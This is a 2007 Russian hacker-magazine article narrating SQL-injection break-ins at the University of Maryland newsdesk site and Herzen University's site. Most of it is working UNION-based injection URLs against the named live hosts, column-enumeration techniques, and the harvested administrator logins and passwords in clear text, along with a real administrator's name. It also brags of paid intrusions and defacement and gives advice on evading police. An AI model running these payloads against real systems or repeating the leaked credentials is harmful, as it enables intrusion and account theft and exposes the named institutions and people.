Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #106, ОКТЯБРЬ 2007 г.

Идеальные подопытные

Евгений «Corwin» Ермаков

Хакер, номер #106, стр. 080

(ermakov@gameland.ru)

Дмитрий «Ded MustD!e» Серебрянников (innos_got@rambler.ru)

Становимся админами университетских сайтов

Началась студенческая жизнь. Студенты мирно пропускают пары, даже не вспоминая, что скоро их мозг погрязнет в сессии, преподы нарабатывают материалы для будущих семинаров и экзаменов, а хакеры ищут новых жертв, чтобы нещадно взломать. Взламывать универ, как нам показал r0id в августовском «Хакере», вдвойне приятно. А сегодня мы еще растянем это удовольствие, насладившись сразу двумя интересными взломами от умных парней. А ты сиди и конспектируй, студент :)!

 

Newsdesk.umd.edu, или студенческий привет от Corwin’а

Доводы о том, что сайты, относящиеся к правительственным и госструктурам, хорошо написаны и защищены, совершенно бесплотны. Некоторые мои знакомые пачками ломают такие порталы, поднимая на этом неплохую денежку, которой хватает на мороженное и не только :). Мне и самому пару раз приходилось выполнять заказы на взлом серверов в определенной зоне, но в этот раз для «опытов» (о которых ты можешь прочесть в одной из моих недавних статей) мне требовался сервер с определенной СУБД и... Тут подвернулся безобидный университет штата Мэриленд.

В этот раз мне не хотелось делать все вручную и было решено задействовать XSpider, но прошло довольно продолжительное время, а XSpider все молчал и не мог даже толком определить открытые порты. Хорошо, нет так нет, бьем в лоб - такая тактика меня редко подводит :). И, начав ковыряться вручную, я не ошибся - первый же проверенный скрипт был уязвимым.

Параметр ArticleID в скрипте новостей release.cfm совершенно не фильтровался. Подставив кавычку к значению ArticleID, я получил ответ сервера, который предоставил мне столько информации, что судьба сайта сразу оказалась предрешенной :). Портал вообще представлял собой один большой баг, он был настолько коряво написан, что такое даже сложно себе представить: абсолютно все скрипты были уязвимыми, на каждом шагу сервер выплевывал ошибки. Видимо, движок, как обычно, писали студенты - горе-кодеры. Кстати, получилась довольно-таки экзотическая связка: ColdFusion+Oracle. Отличный полигон для отработки навыков :).

Сам ответ сервера:

Error Executing Database Query.

[Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

The error occurred in /afs/.glue.umd.edu/department/oit/eis/webhosting/newsdesk/htdocs/uniini/release.cfm: line 21

19 : SELECT ID, CONTACTS, RELEASE_DATE, REF, title

20 : FROM ARTICLEINFO

21 : WHERE ID = #URL.ArticleID#

22 : </CFQUERY>

Как мы видим, по ошибке выбирается 5 колонок из таблицы ARTICLEINFO.

А на чем все это пашет?

Внимательный читатель уже, наверное, заметил, что я имею дело не с обычным PHP-движком, а с ColdFusion(CF). Для тех, кто незнаком с этой технологией, сообщаю: это интерпретатор, а точнее, сервер приложений, который обрабатывает CFM-сценарии. Сами же файлы с расширением CFM написаны на языке ColdFusion Markup.

Я помнил, что при реализации построения систем на ColdFusion администраторами почти всегда допускаются грубейшие ошибки. Имелось что-то вроде джентльменского набора багов в ColdFusion :). Первым делом я полез в систему управления CF - ColdFusion Administrator. Перейдя по адресу newsdesk.umd.edu/CFIDE/administrator/index.cfm, я сильно обломался - апачевая авторизация. Видимо, админы не были уж полными... неумными людьми и хоть о чем-то позаботились.

Также я держал в голове то, что иногда при неправильной конфигурации CFusion можно получить дополнительную информацию, добавив переменную debug с значением, равным единице. Но запрос newsdesk.umd.edu/culture/release.cfm?ArticleID=1486&debug=1, также как и newsdesk.umd.edu/culture/release.cfm?ArticleID=1486&mode=debug, ничего не дал, кроме ошибки (хотя в этой ошибке, как я уже говорил, информации было более чем достаточно).

Бьем в лоб

Тогда было решено просто внедрять SQL-операторы, то есть провести SQL-injection. Благо синтаксис Оракла я знал неплохо (читай в недавней статье «Разрушая базы»).

Интереса ради была просмотрена версия Оракла:

http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1 union select null,banner,null,null,null from v$version

На это я получил:

CORE 9.2.0.7.0

По ранее полученной ошибке мы видим, что использовать комментарии («--«) не нужно. Дальше было получено имя пользователя БД(4SERVICE), находящееся в таблице all_users:

target/release.cfm?ArticleID=-1 union select 1,

null,null,null,username from all_users

Затем было решено пройтись по таблицам. Их названия хранятся в системной таблице user_tables(sys.user_tables) и в таблице sys.all_tables.

Был сделан следующий запрос:

target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from user_tables

В ответ на это сервер выдал название первой таблицы - ARTICLEINFO.

Названия всех колонок находятся в таблице user_tab_columns(sys.user_tab_columns). Простая инъекция выдала мне первую колонку(AC):

target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from user_tab_columns

В данном случае мне очень повезло - в сообщении об ошибке была исчерпывающая информация и о количестве выбираемых колонок и о типе данных. Но не всегда все оказывается так просто. Подбирать колонки в Оракле можно, тупо подставляя нули (null, null, <...>), или использовать оператор order by:

К примеру:

target/release.cfm?ArticleID=-1 order by 5

Сервер выдает:

Страница сайта без динамического содержимого.

Ошибки нет, следовательно, столбцов 5 или более пяти.

Тогда:

target/release.cfm?ArticleID=-1 order by 6

На выходе получаем:

Error Executing Database Query.

[Macromedia][Oracle JDBC Driver][Oracle]ORA-01785: ORDER BY item must be the number of a SELECT-list expression

Появилась ошибка, следовательно, всего 5 колонок.

Подзапросы

Выбирая названия таблиц и колонок из системной таблицы, мы получали лишь имена первых таблиц/колонок. Для того чтобы вытащить остальные названия, используются подзапросы с оператором rownum. Я составил такой запрос:

target/release.cfm?ArticleID=-1 union select 1,null,null,null,table_name from (select rownum r, table_name from user_tables) where r=2

Так было получено название второй таблицы в базе данных - CONTACTS.

Перебирая значения оператора rownum - r, мы получим названия остальных таблиц. Аналогично вытаскивается информация о колонках:

target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from (select rownum r, column_name from user_tab_columns) where r=2

target/release.cfm?ArticleID=-1 union select 1,null,null,null,column_name from (select rownum r, column_name from user_tab_columns) where r=3

И так далее.

Естественно, подзапросы применимы и для остальных системных таблиц. К примеру, мы можем получить имена остальных пользователей:

http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+

null,null,null,null,username+from+(select rownum r, username from all_users) where r=2

http://newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+

null,null,null,null,username+from+(select rownum r, username from all_users) where r=3

Дальше просто пошел перебор значений r. Ты уже наверняка задался вопросом: а как же пароли юзеров? К сожалению, у меня не хватило прав для их просмотра.

Предполагая местонахождение админки, я перешел по адресу http://newsdesk.umd.edu/login и увидел листинг директории login:

Application.cfm 01-Aug-2003 10:45 250

bottom.cfm 10-Dec-2002 13:17 1.7K

login.cfm 01-Aug-2003 10:45 461

login_action.cfm 01-Aug-2003 10:45 701

top_login.cfm 16-Dec-2004 12:02 5.8K

Очередная типичная ошибка при конфигурации ColdFusion. Application.cfm - это конфигурационный файл, своего рода шаблон, который определяет выводимую при ошибке информацию. За вход в админку отвечал файл login.cfm. Обратившись напрямую к файлу login_action.cfm, я получил очередной подарок от системы:

The error occurred in /afs/.glue.umd.edu/department/oit/eis/webhosting/newsdesk/htdocs/login/login_action.cfm: line 6

4 : SELECT Count(*) AS Login_Match

5 : FROM LOGINS

6 : WHERE LOGIN = '#Form.Login#'

7 : AND PASSWORD = '#Form.Pwd#'

8 : </CFQUERY>

Теперь я имел все, что только могло понадобиться: названия нужных колонок и таблиц.

Первый запрос выдал мне админский логин (4admin):

http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,login from logins

Вторым же запросом я достал пароль (11777):

http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,password from logins

Дальше были использованы подзапросы для выуживания остальных акаунтов:

http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,login from(select rownum r, login from logins) where r=2

http://newsdesk.umd.edu/culture/release.cfm?ArticleID=-1 union select null,null,null,null,password from(select rownum r, password from logins) where r=2

Остальные акки доставались аналогично.

Аккаунтов оказалось всего пять. Вот они (l - login, p - password):

  • l: 4admin
  • p: go4terps
  • l: vince
  • p: thaman
  • l: herbo
  • p: 11777
  • l: nick
  • p: 187
  • l: admin
  • p: go4terps

Занавес

Попав в админку, такую же убогую, как и весь сайт, я добавил новость с приветом всем посетителям. Сначала я даже стал вставлять в новости привычную строку «<?php system(id) ?>», но быстро вспомнил, с какой системой я работаю :).

Поговорка «Не знаешь - не лезь» в очередной раз подтверждалась. Создатели портала совершенно не поднимали вопрос безопасности при программировании на CFML. Всегда нужно отдавать предпочтение тем технологиям, в которых ты разбираешься.

На сервере этого сайта крутилось множество других порталов, которые были не менее бажными. Получить права на них оказалось так же просто, как и на рассмотренном newsdesk.umd.edu.

Герцен vs Ded MustD!e

Лето пролетело незаметно, и пора была снова задумываться об учебе. О чем бы я не думал, мыслями я неизбежно возвращался к университету. И тут как раз подвернулась статья R0id’а. Прочитав августовский «Хакер», ты наверняка бросился ломать любимый университет :). У тебя получилось? У меня - да. Моей целью был Российский государственный педагогический университет имени А.И. Герцена.

Зайдя на сайт, я был приятно удивлен приветливым дизайном. Мне предлагали на выбор три входа: общий, для студентов и для абитуриентов. Недолго думая я нажал «Общий». Первым делом я заглянул в robots.txt, но тут меня ждал облом:

User-agent: *

Disallow: /

Вот и все, что я смог увидеть. Ничуть не расстроившись, я двинулся дальше. На ресурсе были ссылки на сайты структурных подразделений и личные сайты сотрудников, но их я оставил на потом, занявшись главным сайтом. Панели авторизации видно не было, поэтому я перешел к поиску SQL-инъекции. Я подставил кавычку в первую попавшуюся ссылку (http://www.herzen.spb.ru/index.phtml?id=1’), и произошло нечто странное. Меня перекинуло на страницу index.phtml?id=1343, а посредине страницы висело окошко авторизации :). Я подставил кавычку в поле «Логин», и сервер выдал мне ответ:

DB Error: syntax error

SELECT username, password FROM users WHERE username = ''' AND state = '0' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '0'' at line 2]

Я не поверил своим глазам. Скрипт все сделал за меня, теперь я знал название базы и имена столбцов. Но как я ни изгалялся, мои запросы не выполнялись. В итоге, бросив эту затею, я стал искать другие инъекты.

Пожинаем плоды

После недолгих поисков я наткнулся на очередной инъект:

http://www.herzen.spb.ru/index.phtml?id=1343&news_id=793'&block=5

Сервер опять же ответил мне максимально информативно:

DB Error: syntax error

SELECT * FROM news WHERE id = '793'' [nativecode=1064 ** You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''793''' at line 1]

Используя union и информацию, полученную из предыдущего запроса, я сформировал такой запрос:

http://www.herzen.spb.ru/index.phtml?id=1343&news_id=793'

+union+select+username,password+from+users/*&block=5

И получил долгожданный ответ:

DB Error: unknown error

SELECT * FROM news WHERE id = '793' union select username,password from users/*' [nativecode=1222 ** The used SELECT statements have a different number of columns]

Осталось только подобрать количество столбцов, чем я и занялся. В итоге запрос приобрел вид:

http://herzen.spb.ru/index.phtml?id=14&news_id=793'+union+SELECT+

1,2,3,4,5,6,7,8,9,10,11,12,13,14+FROM+users+WHERE+username%20=%20''%20OR

%20'1'='1'/*&block=5

Запрос успешно выполнился, и ничего не произошло - передо мной снова была страница новостей. Но после 10-секундного ступора я понял, где накосячил, и поставил «-» перед номером id. После нажатия на <Enter> с экрана на меня приветливо смотрели цифры 5, 7 и 11. Окончательный запрос выглядел так:

http://herzen.spb.ru/index.phtml?id=14&news_id=-

793'+union+SELECT+1,2,3,4,username,6,password,

8,9,10,11,12,13,14+FROM+users+WHERE+username

%20=%20''%20OR%20'1'='1'/*&block=5

Таким образом я получил логин и пароль администратора:

  • Login: nick
  • Pass: nickych

Пароль заставил меня невольно улыбнуться :). Теперь мне предстоял поиск админки, который много времени у меня не отнял, так как админка располагалась по адресу http://herzen.spb.ru/admin. Введя полученные данные я попал в святая святых сайта. И тут же упал под стол - система меня приветствовала фразой: «Здравствуйте, Kobilyatsky Nikolai Nikolaevich!» :). Время было позднее, шелл заливать было лень, и я решил довольствоваться тем, что стал админом на сайте :).

DVD

На диске ты найдешь видеохак, демонстрирующий весь процесс издевательств над буржуйским Мэрилендом :).

Там же находится небольшой шелл, написанный на CFM.

DANGER

Следует помнить, что если ты вдруг начитаешься наших статей и взломаешь что-нибудь чужое, то отвечать за все будешь только ты один. Мы тебя ни к чему такому криминальному не призываем, наоборот, всячески уговариваем не нарушать законов. Пойми нас правильно, все вышеописанное является лишь демонстрацией печальных последствий игнорирования администраторами вопросов безопасности серверов и призывом их к исправлению ситуации.

INFO

При любых подобных экспериментах взломщик не должен забывать о своей анонимности. Даже самые безобидные действия, производимые над сервером, могут привести к встрече с сотрудниками известных органов.

WWW

Тема программирования на ColdFusion достаточно интересна, и я советую тебе ознакомиться с некоторыми доками:

Содержание